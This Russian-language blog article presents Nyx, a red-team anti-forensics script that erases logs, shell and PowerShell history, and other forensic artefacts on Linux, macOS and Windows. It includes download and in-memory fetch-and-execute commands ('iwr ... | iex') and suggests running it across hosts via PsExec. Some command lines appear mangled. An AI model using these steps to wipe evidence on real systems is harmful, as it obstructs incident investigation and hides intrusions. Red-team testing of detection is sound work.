В ходе red team-операций нам нередко приходится работать с журналами, которые хранятся в различных операционных системах. Каждое действие может оставить цифровые следы. Именно на них опираются blue team и специалисты по цифровой криминалистике при восстановлении хода атаки.
Цель red team-операции — максимально реалистично смоделировать действия реального злоумышленника, которые нередко пытаются скрыть свою активность, удаляя улики или модифицируя криминалистические артефакты, чтобы затруднить расследование. Если мы хотим объективно оценить способность организации выявлять вторжения, необходимо также проверить, как она реагирует, когда атакующие уничтожают следы своих действий. Nyx позволяет удалить все криминалистические следы в системе.
Подпишись на наш канал в телеграме, там ты найдешь огромное количество качественного контента, без инфошума и воды!
Что такое Nyx
Nyx — автономный скрипт для очистки заранее определённого набора криминалистических артефактов в Linux, macOS и Windows.
Разумеется, ни один инструмент антифорензики не может гарантировать полное исчезновение всех следов активности. Современные корпоративные среды, как правило, собирают телеметрию из множества источников: продуктов обнаружения угроз на конечных точках (EDR), централизованных серверов журналирования, систем мониторинга сети, облачных сервисов и решений резервного копирования. Даже если локальные артефакты изменены или удалены, логи могут сохраниться в других местах. Тем не менее Nyx реализует техники, которые применяются продвинутыми злоумышленниками после получения доступа к системе.
Ниже приведена лишь часть Linux-артефактов, на которые нацелен Nyx. Полный список значительно шире. Среди поддерживаемых модулей — файлы истории командной оболочки, журналы аутентификации, системные журналы, записи аудита, сетевые артефакты, данные активности пользователей, временные файлы и многие другие криминалистические следы, которые аналитики изучают в ходе реагирования на инциденты.
Поскольку значительная часть современной инфраструктуры работает на Linux, скрипт включает модули, ориентированные на криминалистические артефакты Linux-серверов и размещённых на них сервисов.
Windows составляет меньший объём серверной инфраструктуры по сравнению с Linux, поэтому список несколько короче. Тем не менее Nyx охватывает ряд важных источников криминалистических данных, включая журналы событий Windows, историю PowerShell, связанные с безопасностью артефакты реестра и различные другие следы, которые аналитики исследуют после компрометации сети.
Наконец, отдельное внимание уделяется macOS — тут предусмотрен собственный набор криминалистических артефактов. Несмотря на то что список меньше, чем для Linux, Nyx содержит модули для очистки нескольких источников улик, способных раскрыть активность пользователя в системе.
Очистка криминалистических улик в Windows
Теперь мы готовы протестировать скрипт и посмотреть, как он работает. В зависимости от цели и среды его можно запустить несколькими способами.
Начнём с Windows. Прежде чем что-либо очищать, рекомендуется воспользоваться флагом -DryRun. Он покажет, что именно Nyx планирует очистить, не внося никаких изменений в систему.
PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1
PS > .
yx.ps1 -DryRun
В выводе отображаются элементы, которые будут очищены, фактически ничего не удалено. Dry run лишь показывает действия, которые Nyx может выполнить. Теперь выполним очистку.
PS > .
yx.ps1
На этом этапе Nyx пытается удалить поддерживаемые криминалистические артефакты с локальной системы.
То же самое можно выполнить через запуск в памяти, без предварительной записи скрипта на диск. Запуск инструментов непосредственно из памяти — распространённая техника, применяемая хакерами, поскольку она сокращает количество файлов, записываемых в файловую систему. Однако это не означает, что антивирус или средства обнаружения угроз на конечных точках проигнорируют подобную активность. Современные средства защиты отслеживают значительно больше, чем просто файлы на диске. Они также наблюдают за поведением процессов, активностью PowerShell, событиями AMSI, аргументами командной строки, связями родительских и дочерних процессов, поведением памяти и многими другими индикаторами.
PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex
Если необходимо, можно запустить выполнение без ожидания подтверждения, добавив флаг -Force. Это удобно при автоматизации выполнения на нескольких системах с помощью PsExec.
Очистка криминалистических улик в Linux
Как и в Windows, рекомендуется сначала просмотреть, что именно скрипт намерен сделать, прежде чем вносить изменения в систему.
При необходимости можно перечислить модули, которые будут использованы, с флагом -n.
bash# > bash nyx.sh -n
Как видно, скрипт имеет множество модулей, включая модули, связанные с IoT устройствами, криптовалютными артефактами, журналами IDS и IPS, сетевыми трассировками и многими другими категориями.
Итоги
Вместо того чтобы вручную искать десятки журналов, воспользуйтесь Nyx, который значительно ускоряет этот процесс. Он наглядно демонстрирует, почему централизованное ведение журналов, мониторинг конечных точек и многоуровневая телеметрия так важны. Даже если злоумышленнику удастся очистить локальные артефакты, независимые системы безопасности всё равно могут сохранить доказательства, необходимые для обнаружения и расследования вторжения.
Подпишись на наш канал в телеграме, там ты найдешь огромное количество качественного контента, без инфошума и воды!
*Информация в данной статье представлена исключительно в образовательных целях. Автор не несёт ответственности за возможные последствия применения советов или рекомендаций, изложенных в материале.
